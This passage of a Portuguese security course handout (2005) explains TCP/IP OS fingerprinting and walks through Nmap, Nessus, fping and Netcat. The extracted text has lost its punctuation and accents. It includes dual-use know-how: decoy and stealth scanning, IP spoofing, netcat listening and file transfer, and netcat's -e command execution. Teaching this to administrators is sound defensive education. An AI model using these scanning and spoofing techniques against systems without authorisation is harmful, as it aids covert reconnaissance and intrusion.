se baseia nacoleta de seu fingerprint ou sua impressatildeo digital Quando os desenvolvedores dos vaacuterios sistemasoperacionais implementam a pilha do protocolo TCPIP eles normalmente interpretam de forma distintaas recomendaccedilotildees feitas pelas RFCs e produzem pilhas com caracteriacutesticas proacuteprias Estascaracteriacutesticas formam o fingerprinting de um noacuteAnalisando o comportamento da pilha de uma determinada versatildeo de um sistema operacional e

mapeando o resultado dentro de um banco de dados eacute possiacutevel utilizar estes dados para a verificaccedilatildeo dosistema operacional de outros noacutesO fingerprinting de um noacute pode ser coletado de forma Ativa atraveacutes do envio de pacotes ao noacutealvo e da anaacutelise do pacotes recebidos e de forma Passiva pela anaacutelise de pacotes pertencentes aconexotildees jaacute estabelecidas e coletados diretamente pela interface de redeProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 46 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005831) Coleta ativa do fingerprintingA coleta ativa do fingerprinting consiste no envio de pacotes preacuteviamente formatados para o noacutealvo e na anaacutelise de campos especiacuteficos dos pacotes recebidos como resposta Neste tipo de coleta ainterface de rede natildeo necessita ser colocada em modo promiacutescuoO fingerprinting ativo possui um elevado niacutevel de exatidatildeo mas falha quando as caracteriacutesticasda pilha TCPIP satildeo alteradas pelo seu administrador Isto normalmente ocorre quando o administradorrealiza otimizaccedilotildees no noacute ou quando ele implementa uma poliacutetica baseada em obscuridade na qual ofingerprinting eacute alterado para forjar um outro sistema operacionalA coleta ativa da impressatildeo digital de um noacute pode ser realizada atraveacutes de vaacuterias anaacutelises simplestais comoSonda FIN segundo a RFC973 quando uma porta aberta recebe um pacote FIN natildeo deveresponder entretanto algumas pilhas TCPIP como eacute o caso da pilha do Windows NT responde com umamensagem FINACK Sonda de Flag Falso consiste no envio de um pacote SYN com o flag indefinido configuradocomo 1 dependendo do sistema operacional Este pacote pode ser respondido atraveacutes de um pacotecom o mesmo flag setado em 1 Este procedimento eacute implementado pelo Linux e por outros sistemasUnix Like Bit natildeo Fragmentar para permitir um melhor desempenho do protocolo TCPIP alguns sistemaoperacionais setam este campo com o valor 1 e outros como eacute o caso do Solaris natildeo permitem o seuusoTamanho da Janela TCP o tamanho deste campo eacute normalmente dependente do sistemaoperacional Por exemplo o AIX eacute o uacutenico sistema operacional a utilizar o valor Ox3F25 para este campoNumero Sequumlencial do ACK esta teacutecnica consiste em observar o valor do nuacutemero sequumlencial do

pacote ACK Alguns sistemas respondem ao pacote com o mesmo nuacutemero sequumlencial daquele que ooriginou outros incrementam este valor em uma unidade antes de respondecirc-loLimitaccedilatildeo das Mensagem de Erro ICMP alguns sistemas operacionais seguindo asrecomendaccedilotildees da RFC1812 limitam a taxa de envio das mensagens de erro ICMP a um determinado valorpor intervalo de tempo Sendo este valor padronizado basta enviar vaacuterios pacotes UDP agrave uma portafechada e aguaradar a mensagem ICMP port unreachable Esta teacutecnica normalmente natildeo eacute muitoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 47 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005utilizada pois torna a coleta do fingerprinting lenta Tipo de Serviccedilo (TOS) a maioria dos sistema operacionais setam este campo para zero (0)quando enviam uma mensagem ICMP port unreachable apesar de alguns sistemas operacionais utilizamvalores diferentesOpccedilotildees do TCP as opccedilotildees baacutesicas do protocolo TCP satildeo determinadas pela RFC793 e pelaRFC1323 jaacute as opccedilotildees avanccediladas satildeo definidas pela RFC1323 Realizando o envio de vaacuterios pacotes comvalores especiacuteficos nestes campos e analisando a resposta pode-se supor o sistema operacional ativovisto que nem todos os sistemas implementam todas as opccedilotildees descritas nestas RCFs Existem ainda outras teacutecnicas que natildeo se utilizam de pacotes TCP ou UDP ao inveacutes disto fazemuso de mensagens de ICMP Estas teacutecnicas foram utilizadas por Ofir Arkin na construccedilatildeo da ferramentaXprobe 832) Coleta passiva do fingerprintingA coleta passiva consiste na captura de pacotes pertencentes agraves conexotildees ativas por um snifferSniffers satildeo utilitaacuterios de rede que operam em modo promiacutescuo e permitem a coleta dos dados dasconexotildees de outras estaccedilotildees de trabalho sem que ocorra a alteraccedilatildeo da mesma ou que a accedilatildeo sejadetectada e da anaacutelise dos mesmos Esta coleta necessita que a interface de rede esteja operando emmodo promiacutescuo No modo promiacutescuo todo o traacutefego de dados pode ser capturado por uma interface derede independentemente do endereccedilo de destino natildeo gerando assim traacutefego na redeO fingerprinting passivo possui a grande de vantagem ser indetectaacutevel pelo noacute alvo Por outro ladocaso existam pacotes forjados circulando pela rede a coleta passiva pode ser induzida a determinar de

forma errocircnea o sistema operacional de alguns noacutesA anaacutelise dos pacotes coletados pela interface de rede tem por finalidade determinar asidiossincrasias nas implementaccedilotildees das pilhas TCPIP de cada sistema operacionalOs principais campos utilizados para identificar o sistema operacional de um noacute satildeo o TTL oWindows Size o DF e o TOS pois possuem valores tabelados de acordo com o sistema operacional esua versatildeoDurante uma anaacutelise o primeiro campo verificado eacute o campo TTL Quando o valor deste campo eacuteigual agrave 64 o pacote provavelmente pertence a um noacute com Linux ou FreeBSDProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 48 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O segundo campo analisado eacute o Windows Size que normalmente possui valor igual a 0x7D78quando a maacutequina possui uma versatildeo do Windows ou do Linux instalado O terceiro campo verificado eacute oflag DF que indica se o pacotes estaacute fragmentado ou natildeo Poucos satildeo os sistemas que setam este bitcomo zero mas o SCO e o OpenBSD utilizam este padratildeo O ultimo campo verificado eacute o TOS que namaioria das mensagem estaacute setado para zeroPor exemplo suponha que um dos pacotes capturados pelo sniffer apresente as caracteriacutesticasabaixo Cruzando os dados coletados com as informaccedilotildees acima pode-se concluir que o noacute provavelmenteroda uma versatildeo do Kernel do LinuxTTL 64Window Size 0x7D78DF bit 1TOS 0x0Outros campos tambeacutem podem ser utilizados na detecccedilatildeo do sistema operacional de forma passivamas softwares como o Siphon p0f e o Cheops utilizam somente estes quatro campos para gerar everificar as assinaturas dos sistemas operacionaisProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 49 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20059)Kit de FerramentasAs proacuteximas sessotildees apresentam algumas ferramentas comumente utilizadas por administradoresno processo de verificaccedilao do niacutevel de seguranccedila de seus ambientes91) NmapO Nmap fornece de uma maneira geral a relaccedilatildeo de computadores e serviccedilos ativos Existem

diversas formas e paracircmetros a serem informados durante uma varredura Para obter o coacutedigo fonte eacute soacuteacessar o link abaixo e procurar por ldquoLatest Stable Version Tarballrdquohttpwwwinsecureorgnmap_downloadhtmlEste aplicativo possui os seguintes meacutetodos de varredura-sP ou Ping scan Algumas vezes eacute necessaacuterio saber se um determinado host ou rede estaacuteno ar Nmap pode enviar pacotes ICMP ldquoecho requestrdquo para verificar se determinado hostou rede estaacute ativa Hoje em dia existem muitos filtros que rejeitam os pacotes ICMPldquoecho requestrdquo entatildeo envia um pacote TCP ACK para a porta 80 (default) e caso recebaRST o alvo estaacute ativo A terceira teacutecnica envia um pacote SYN e espera um RST ouSYN-ACK-sR ou RCP scan Este meacutetodo trabalha em conjunto com vaacuterias teacutecnicas do Nmap Eleconsidera todas as portas TCP e UDP abertas e envia comandos NULL SunRPC paradeterminar se realmente satildeo portas RPC Eacute como se o comando ldquorpcinfo -prdquo estivessesendo utilizado mesmo atraveacutes de um firewall ( ou protegido por TCP wrappers )-sS ou TCP SYN scan Teacutecnica tambeacutem conhecida como ldquohalf-openrdquo pois natildeo abre umaconexatildeo TCP completa Eacute enviado um pacote SYN como se ele fosse uma conexatildeo reale aguarda uma resposta Caso um pacote SYN-ACK seja recebido a porta estaacute abertaenquanto um como resposta indica que a porta estaacute fechada A vantagem dessaabordagem eacute que poucos iratildeo detectar esse scanning de portas-sT ou TCP connect() scan Eacute a teacutecnica mais baacutesica de TCP scanning Eacute utilizada a chamadade sistema (system call) ldquoconnect()rdquo que envia um sinal as portas ativas Caso a portaProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 50 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005esteja aberta recebe como resposta ldquoconnect()rdquo Eacute um dos scan mais raacutepidos poreacutemfaacutecil de ser detectado-sU ou UDP scan Este meacutetodo eacute utilizado para determinar qual porta UDP estaacute aberta em umhost A teacutecnica consiste em enviar um pacote UDP de 0 byte para cada porta do host Sefor recebido uma mensagem ICMP ldquoport unreachablerdquo entatildeo a porta estaacute fechada senatildeo

a porta pode estar aberta Para variar um pouco a Microsoft ignorou a sugestatildeo da RFCe com isso a varredura de maacutequinas Windows eacute muito raacutepida-sV ou Version detection Apoacutes as portas TCP eou UDP serem descobertas por algum dosmeacutetodos o nmap iraacute determinar qual o serviccedilo estaacute rodando atualmente O arquivonmap-service-probes eacute utilizado para determinar tipos de protocolos nome da aplicaccedilatildeonuacutemero da versatildeo e outros detalhes-sF -sX -sN ou Stealth FIN Xmas Tree ou Null Alguns firewalls e filtros de pacotes detectampacotes SYNs em portas restritas entatildeo eacute necessaacuterio utilizar meacutetodos avanccedilados paraatravessar esses softwaresFIN Portas fechadas enviam um pacote RST como resposta a pacotes FIN enquantoportas abertas ignoram esses pacotes (Esse meacutetodo natildeo funciona com a plataforma Windowsuma vez que a Microsoft natildeo seguiu RFC 973)Xmas Tree Portas fechadas enviam um pacote RST como resposta a pacotes FINenquanto portas abertas ignoram esses pacotes As flags FIN URG e PUSH satildeo utilizados nopacotes FIN que eacute enviado ao alvo (Esse meacutetodo natildeo funciona com a plataforma Windows umavez que a Microsoft natildeo seguiu RFC 973)Null Portas fechadas enviam um pacote RST como resposta a pacotes FIN enquantoportas abertas ignoram esses pacotes Nenhuma flag eacute ligada no pacote FIN (Esse meacutetodo natildeofunciona com a plataforma Windows uma vez que a Microsoft natildeo seguiu RFC 973)Aleacutem destas o nmap possui outras opccedilotildees de uso geral das quais podemos destacar-D ltdecoy1 [decoy2][VOCE]gt Durante uma varredura utiliza uma seacuterie de endereccedilosfalsificados simulando que o scanning tenha originado desses vaacuterios hosts sendo praticamenteimpossiacutevel identifiicar a verdadeira origem da varreduranmap -D IP1IP2IP3IP4IP6SEU_IP alvoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 51 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-F Procura pelas portas que estatildeo no etcservices Meacutetodo mais raacutepido poreacutem natildeoprocurar por todas as portasnmap -F alvo-I Se o host estiver utilizando o ident eacute possiacutevel identificar o dono dos serviccedilos que estatildeo

sendo executados no servidor (trabalha com a opccedilatildeo -sT)nmap -sT -I alvo-n Natildeo iraacute resolver nome de hosts a ser varridonmap -n alvo-O Ativa a identificaccedilatildeo do host remoto via TCPIP Iraacute apresentar versatildeo do SistemaOperacional e tempo ativonmap -O alvo-p ltlista_de_portasgt Especifica quais portas devem ser verificadas na varredura Pordefault todas as portas entre 1 e 1024 satildeo varridasnmap -p 2280 alvonmap -p U53111137T21-25801398080-P0 Natildeo tenta pingar o host antes de iniciar a varredura Isto permite varrer alvos quebloqueiam ICMP ldquoecho request (ou responses)rdquo atraveacutes de firewallnmap -P0 alvo-PS[lista_de_portas] Usa pacotes SYN para determinar se o host estaacute ativonmap -PS80 alvo-PT[lista_de_portas] Usa TCP ldquopingrdquo para determinar se o host estaacute ativonmap -PT80 alvo-R Iraacute resolver nome de hosts a ser varridonmap -R80 alvoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 52 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-r A varredura seraacute feita nas portas randomicamente natildeo seguinte a ordem crescentenmap -r alvo-T ltParanoid|Sneaky|Polite|Normal|Aggressive|InsanegtEsse paracircmetro seta a prioridade de varredura do Nmap1048576 Paranoid (-T5) eacute muito lento na esperanccedila de prevenir a detecccedilatildeo pelo sistema IDSEste serializa todos os scans (scanning natildeo paralelo) e geralmente espera nomiacutenimo 5 minutos entre o envio de pacotes1048576 Sneaky (-T4) eacute similar ao Paranoid exceto que somente espera 15 segundos entre oenvio de pacotes1048576 Polite (-T3) tem o significado para facilitar a carga na rede e reduzir as chances detravar a maacutequina Ele serializa os testes e espera no miacutenimo 04 segundos entre eles1048576 Normal (-T2) eacute o comportamento default do Nmap o qual tenta executar tatildeo raacutepidoquanto possiacutevel sem sobrecarregar a rede ou perder hostsportas1048576 Aggressive(-T1) esse modo adiciona um timeout de 5 minutos por host e nuncaespera mais que 125 segundos para testar as respostas1048576 Insane (-T0) eacute somente adequando para redes muito raacutepidas ou onde vocecirc natildeo

se importa em perder algumas informaccedilotildees Nesta opccedilatildeo o timeout dos hostsacontecem em 75 segundos e espera somente 03 segundos por teste individual-ttl ltvalorgt Altera o valor do TTL (Time to Live) dessa forma dificulta a origem dopacotenmap -ttl 55 alvo-v Modo verbose Mostra tudo o que estaacute se passandonmap -v alvoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 53 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Para facilitar o processo de aprendizagem seguem alguns exemplo e utilizaccedilatildeonmap -v alvoEsta opccedilatildeo faz a varredura de todas as portas TCP reservadasnmap -sS -O alvoLanccedila uma varredura TCP Syn contra cada maacutequina que estaacute ativa abrangendo todasas 255 maacutequinas de classe ldquoCrdquo onde alvo faz parte Aleacutem disso determina o sistemaoperacional de cada hostnmap -sX -p 2253110143 alvoEnvia uma varredura Xmas Tree para o alvo aleacutem de varrer somente os serviccedilos desshd Dns pop3d e imapdProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 54 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 200592) NessusNessus eacute uma ferramenta para auditoria de seguranccedila Com ele eacute possiacutevel verificar variasvulnerabilidades em sua rede O nessus permite que se faccedila isso de uma forma segura nao permitindo queusuaacuterios natildeo autorizados possam scanear sua rede com ele Ele eacute composto por duas partes sendo umcliente e um servidor Pode-se usaacute-lo a partir do windowscopy poreacutem isso natildeo seraacute abordado nesse artigoEle possui uma seacuterie de recursos bastante interessantes como trabalhar em conjunto com o nmap etambeacutem a possibilidade de atualizaccedilatildeo apenas baixando novos plugins de ataques eou vulnerabilidades ONessus foi criado em 1998 por Renaud Deraison sendo que naquela eacutepoca o melhor security scanner era oSATAN ( que se encontrava bastante desatualizado ) Deraison resolveu dividir o sistema em pluginsfacilitando muito a atualizaccedilatildeo e a prevenccedilatildeo contra novos ataques A partir da versatildeo 100 foi criado umscript que automaticamente atualiza o plugins para que o nessus possa detectar uma nova vulnerabilidade eassim sugerir uma forma ou explicaccedilatildeo para corrigi-la

O nessus possui uma GUI muito flexiacutevel onde vocecirc configura vaacuterios detalhes de varredura na suarede Nela pode-se configurar quais plugins( ataques ) usar e os hosts(targets) que seratildeo scanneadosPrimeiramente rode o nessus cliente bastando para isso digitar nessus na linha de comando Ele pediraacuteentao a senha que vocecirc configurou inicialmente Vamos abordar agora quais satildeo as opccedilotildees deconfiguraccedilatildeo do cliente nessusNessus host nesta aba de configuraccedilatildeo vocecirc deve especificar o endereccedilo ip do daemon nessus etambeacutem a porta tcp em que ele estaacute rodando (geralmente 1241) Nesta tela tambeacutem eacute possiacutevel optar peloalgoritmo de criptografia que seraacute usado Tambeacutem eacute preciso especificar o nome do usuaacuterio para logar nodaemonPlugins Aqui reside todo o poder do nessus nesta aba se encontram as exploraccedilotildees (exploits) dasvulnerabilidades conhecidas em forma de plugins O nessus se vale destes plugins para avaliar asvulnerabilidades do sistema scanneadoPrefs Satildeo especificados valores como usuaacuterios e senhas de serviccedilos como ftp pop imap e smbDe porte desses dados o nessus pode fazer verificaccedilotildees muito mais eficitentes nos seus hosts jaacute quealguns exploits pressupotildeem que o explorador possui uma conta vaacutelida de algum desses serviccedilos Tambeacutemeacute possiacutevel configurar o tipo de scan que seraacute usado pelo nmap ( caso possua )Scan Option -gt Aqui pode-se especificar as portas que seratildeo scaneadas pelo nessus use virgulapara portas individuais e hiacutefen para intervalos(80110443-1024) No caso de utilizar o nessus para scanearservidores web eacute bastante interessante especificar o path ou caminho dos CGIs no seu servidor PorProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 55 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005exemplo se vocecirc especificar o path cgi-bin para o nessus procuraraacute por CGIs exploitaacuteveis emhttphostcgi-binTarget Selection Preencha o uacutenico campo desta aba para especificar as maacutequinas que seratildeoscaneadas Clicando no botatildeo Read file vocecirc especifica um arquivo onde estatildeo o endereccedilos IP dasmaacutequinas a serem verificadasUser Aqui estatildeo suas informacotildees pessoais como a chave que deve ser usada e tambeacutem pode-setrocar a sua senha do nessusAbaixo temos as principais telas deste aplicativo( Aba Host) (Aba Plugins)

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 56 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005( Aba Perfs) (Aba Scan Options)( Aba Target Selection) (Aba KB)Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 57 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005921)Iniciando a inspeccedilatildeo na sua redeAssim que vocecirc iniciar o nessus lhe seraacute solicitado a senha A primeira tela que iraacute surgir eacute a nessushost nesta tela se encontram aleacutem da opccedilotildees citadas acima o botatildeo de login clicando nele vocecirc ja poderaacuteconfigurar os plugins que seratildeo utilizados Agora na aba Plugins vocecirc escolhe quais ataques eexploraccedilotildees deveratildeo ser aplicadas aos seus alvos Como jaacute foi citado este eacute um dos maiores diferenciais donessus os plugins estatildeo separados por categorias e cada um deles possui um texto explicando o queaquele exploit faz e tambeacutem o grau de risco bem como resolver o problema caso esta vulnerabilidade sejaencontrada Caso alvos sejam maacutequinas que estatildeo em produccedilatildeo natildeo aconselho usar utilizar o plugins deDoS e nem aqules que possuem um sinal de alerta ao lado assim evitamos surpresas Se os alvosestiverem abertos para internet eacute importante marcar ao menos as seguintes categorias Gain ShellRemotely Gain Root Remotely Backdoors Remote File Access Cabe a vocecirc analisar quais pluginsdeveratildeo ser utilizados na varredura caso sua rede seja composta apenas por sistemas NIX natildeo existe amenor necessidade de utilizar os plugins referentes a Wingate por exemploApoacutes escolher os plugins mais adequandos a sua rede vamos escolher quais hosts seratildeoscaneados Clique na aba Target Selection e especifique as maacutequinas que deseja scanear ( todas elasdevem estar com o nessusd rodando ) Como mencionado acima vocecirc deve colocar os alvos(targets)separados por viacutergula ou especificar um arquivo de onde onde o nessus iraacute ler os alvosCom tudo configurado(geralmente natildeo eacute preciso mudar muita coisa) vocecirc pode iniciar a varreduraem sua rede para isto clique no botatildeo Start the scan Agora o nessus iraacute varrer sua rede isso podedemorar um pouco conforme a velocidade da rede e quantidade de plugins que vocecirc selecionouFeito a varredura podemos verificar a falhas de seguranccedila e as recomendaccedilotildees do nessus para asvulnerabilidades encontradas Na tela Nessus Report vocecirc vecirc os hosts scaneados a esquerda e as

vulnerabilidades encontradas em cada um deles aacute direita Clicando no sinal de + sobre as vulnerabilidadestem-se a explicaccedilatildeo do problema e tambeacutem como proceder para corrigi-lo Para uma futura referecircncia podesetambeacutem exportar o relatoacuterio basta escolher o formato e clicar em Save as recomendo escolher aopcatildeo Save as HTML with pies an graphs com isso nessus iraacute salvar os resultados na pasta que vocecircescolher e tambeacutem geraraacute graacuteficos sobre as vulnerabilidades de sua rede juntamente com o tradicionalrelatoacuterio em HTMLPara realizar a atualizaccedilatildeo de seus plugins o nessus possui um script que para funcionar necessitaque se esteja conectado na internet Para executa-lo rode o seguinte comandonessus-update-plugins -vProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 58 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Com a opccedilatildeo -v seratildeo exibidos os plugins que estatildeo sendo baixados Este script natildeo possuinenhuma forma para verificar a integridade dos plugins baixadospor isso use-o com cautela( leia amanpage deste script para maiores detalhes)93) FpingO fping eacute um programa que assim como ping utiliza o protocolo ICMP (_____

__ ________________________________ _________) para determinar se um ou vaacuterios noacutes da rede estatildeo ativos mas ao contraacuterio do ping ele permiterealizar a verificaccedilatildeo de vaacuterios noacutes ao mesmo tempo o endereccedilo dos noacutes pode ser passado via linha decomando ou atraveacutes de um arquivo textoO fping ao receber uma confirmaccedilatildeo de atividade automaticamente envia um aviso de atividade eexclui o host da lista de verificaccedilatildeo mas quando um noacute natildeo responde em no periacuteodo preacute determinado ele eacutetido como desligado ou natildeo alcanccedilaacutevelEste comando vem sendo largamente utilizado em cript devido seu baixo tempo de resposta e suasaiacuteda ser de faacutecil manipulaccedilatildeoEste comando aceita os seguintes paracircmetros-a lista somente aqueles noacutes que estatildeo ativos-A mostra o endereccedilo do noacute ao inveacutes do seu nome de domiacutenio-c informa quanto pacotes devem ser enviados para cada host-C assim como o anterior mas este informa no final o tempo de resposta em milisegundosde cada pacote-e mostra o tempo decorrido ateacute o recebimento do pacote de verificaccedilatildeo-i tempo miacutenimo em milisegundos entre o envio de dois pacotes a qualquer host da rede-l loop envia pacotes indefinidamente

-n utiliza o nome de domiacutenio do host na saiacuteda do comando-r nuacutemero de tentativas de alcanccedilar o host-u mostra somente os host que natildeo foram alcanccediladosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 59 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005ExemplosInforma o estado das maacutequinas utilizando o nome de domiacutenio delas como pode serobservado logo abaixofping -n 1461643265 1461643267 1461643275 14616432100 1461643267nsravelufrjbr is alivemailhostravelufrjbr is alivegw-etherravelufrjbr is alivemailhostravelufrjbr is alivewebsecravelufrjbr is unreachableInforma somente o nome das maacutequinas que estatildeo ativas como vemos abaixofping -na 1461643265 1461643267 1461643275 14616432100 1461643267nsravelufrjbrmailhostravelufrjbrgw-etherravelufrjbrmailhostravelufrjbrInforma somente o nome das maacutequinas que natildeo podem ser encontradas como podeser observado logo abaixofping -nu 1461643265 1461643267 1461643275 14616432100 1461643267websecravelufrjbrEnvia apenas dois pacotes para cada host e no final informa a taxa de pacotesenviados recebidos e perdidos como pode ser observado logo abaixofping -q -n -c 2 1461643265 1461643267 1461643275 1461643210014616432101nsravelufrjbr xmtrcvloss = 220 minavgmax = 500518537mailhostravelufrjbr xmtrcvloss = 220 minavgmax = 455473491websecravelufrjbr xmtrcvloss = 20100gw-etherravelufrjbr xmtrcvloss = 220 minavgmax = 51352553714616432101 xmtrcvloss = 550 minavgmax = 498586769Envia apenas cinco pacotes para cada host e no final informa o tempo de resposta decada um como pode ser observado logo abaixofping -q -n -C 5 1461643265 1461643267 1461643275 1461643210014616432101nsravelufrjbr 4902 5094 5203 5056 4667mailhostravelufrjbr 5294 5122 5260 4890 5056websecravelufrjbr - - - - -gw-etherravelufrjbr 4793 5404 5097 4785 494614616432101 6843 5201 5929 5331 7458

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 60 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Informa o tempo de resposta de cada host informando o seu endereccedilo ip ao inveacutes doseu nome de domiacutenio como pode ser observado logo abaixofping -A -e protheusravelufrjbr websecravelufrjbr wwwyahoocombrwwwgmailcom1461643267 is alive (533 ms)200152161113 is alive (459 ms)64233171107 is alive (534 ms)1461643275 is unreachable93) NetcatNetcat eacute uma ferramenta usada para ler e escrever dados em conexotildees de rede usando o protocoloTCPIP Dada sua grande versatilidade o NetCat eacute considerado pelos hackers o canivete suiacuteccedilo do TCPIPpodendo ser usado para fazer desde portscans ateacute brute force attacksO nome netcat vem do comando cat do LinuxUnix O cat concatena arquivos e envia para a saiacutedapadratildeo (stdout) O netcat faz praticamente o mesmo poreacutem ao inveacutes de concatenar arquivos o netcatconcatena sockets TCP e UDP931) Opccedilotildees do Netcat-e comando Executa o comando especificado usando como entrada (stdin) os dados recebidospela rede e enviando os dados de saiacuteda (stdout e stderr) para a rede Essa opccedilatildeo somente estaraacute presentese o nc for compilado com a opccedilatildeo GAPING_SECURITY_HOLE jaacute que permite que usuaacuterios disponibilizemprogramas para qualquer um conectado a rede-i Especifica o intervalo de tempo no qual as linhas de texto seratildeo enviadas ou recebidas-l Coloca no netcat em estado de escuta (listening)-L Coloca no netcat em estado de escuta (listening) reiniciando o netcat com a mesma linha decomando caso a conexatildeo feche-n Forccedila o netcat a usar apenas endereccedilos de IP numeacutericos sem fazer consultas a servidoresDNS-o filename Usando para obter um log dos dados de entrada ou saiacuteda em formato hexadecimal-p Especifica a porta a ser usada sujeito a disponibilidade e a restriccedilotildees de privileacutegioProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 61 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-r Faz as portas do portscan serem escolhidas aleatoriamente-s Especifica o endereccedilo IP da interface usada para enviar os pacotes Pode ser usado para

spoofing de IPs bastando apenas configurar uma interface do tipo eth00 (usando o ifconfig) com o IPdesejado-t Permite usar o nc para criar sessotildees de telnet por script Precisa estar compilado com a opccedilatildeo-DTELNET-u Usar UDP ao inveacutes de TCP-v Controla o niacutevel de mensagens mostradas na tela-w Limita o tempo maacuteximo para que uma conexatildeo seja estabelecida-z Para evitar o envio de dados atraveacutes de uma conexatildeo TCP e limitar os dados de uma conexatildeoUDP932) Preparando as Interfaces de RedePara testar o netcat usaremos dois aliases na interface loopback (lo) do linux O endereccedilo IP defaultda interface lo no linux eacute 127001 Se mexermos com o endereccedilo 127001 podemos quebrar as nossasconexotildees de rede Ao inveacutes disso usaremos os aliases lo1 e lo2 para executarmos os testes Para atribuirendereccedilos IP agrave essas interfaces os seguintes comandos devem ser executados (como usuaacuterio root) naconsole do linux$ ifconfig lo1 10011$ ifconfig lo2 10012Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 62 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O comando ifconfig tambeacutem permite verificar se o comando foi bem sucedidoifconfiglo Link encapLocal Loopbackinet addr127001 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets10 errors0 dropped0 overruns0 frame0TX packets10 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes700 (7000 b) TX bytes700 (7000 b)lo1 Link encapLocal Loopbackinet addr10011 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets20848 errors911 dropped0 overruns0 frame926TX packets63 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes1398645 (13 Mb) TX bytes6935 (67 Kb)lo2 Link encapLocal Loopbackinet addr10012 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets20848 errors911 dropped0 overruns0 frame926TX packets63 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes1398645 (13 Mb) TX bytes7281 (71 Kb)

As interfaces de rede configuradas dessa forma permitem-nos trabalhar como se fossem doiscomputadores na mesma rede com IPs diferentes933) Colocando o Netcat para escutar uma portaO seguinte comando permite usar o netcat para escutar o traacutefego da redenc -vv -l -p8080Listening on any address 8080 (webcache)Para redirecionar a saiacuteda para um arquivo usa-se o seguinte formatonc -l -p8080 gt filenametxtPara conectar um cliente netcat usa-se o seguinte comandonc 10011 -p8080 gt filenametxtAssim tudo o que for digitado no cliente seraacute repetido no servidor (na primeira console) Use CTRLCpara terminar a conexatildeoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 63 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O servidor deveraacute mostrar um breve resumo da conexatildeoTotal received bytes 5Total sent bytes 0934) Transferindo ArquivosTransferir arquivos de um host para outro usando o netcat eacute bastante simples Basta configurar olado server (que vai receber o arquivo) para escutar uma porta especiacutefica e redirecionar todos os dadosrecebidos para um arquivo Colocando-se um timeout o servidor iraacute perceber quando natildeo existem maisdados chegando e iraacute fechar a conexatildeo No lado cliente da conexatildeo simplesmente conecta-se agrave porta doservidor e passa-se o arquivo a ser transferido como entradaServidornc -vvn -l -p 3000 -w 30 gt fileListening on any address 3000Clientenc -vvn -w 2 10001 3000 lt file110001 3000 openO servidor iraacute mostrar a seguinte mensagem quando uma conexatildeo for estabelecidaConnection from 100011028Novamente a conexatildeo deve ser terminada usando-se o CTRL-C O servidor iraacute mostrarExitingTotal received bytes 6Total sent bytes 0Enquanto que o cliente mostraraacuteTotal received bytes 0Total sent bytes 6Prof Luiacutes 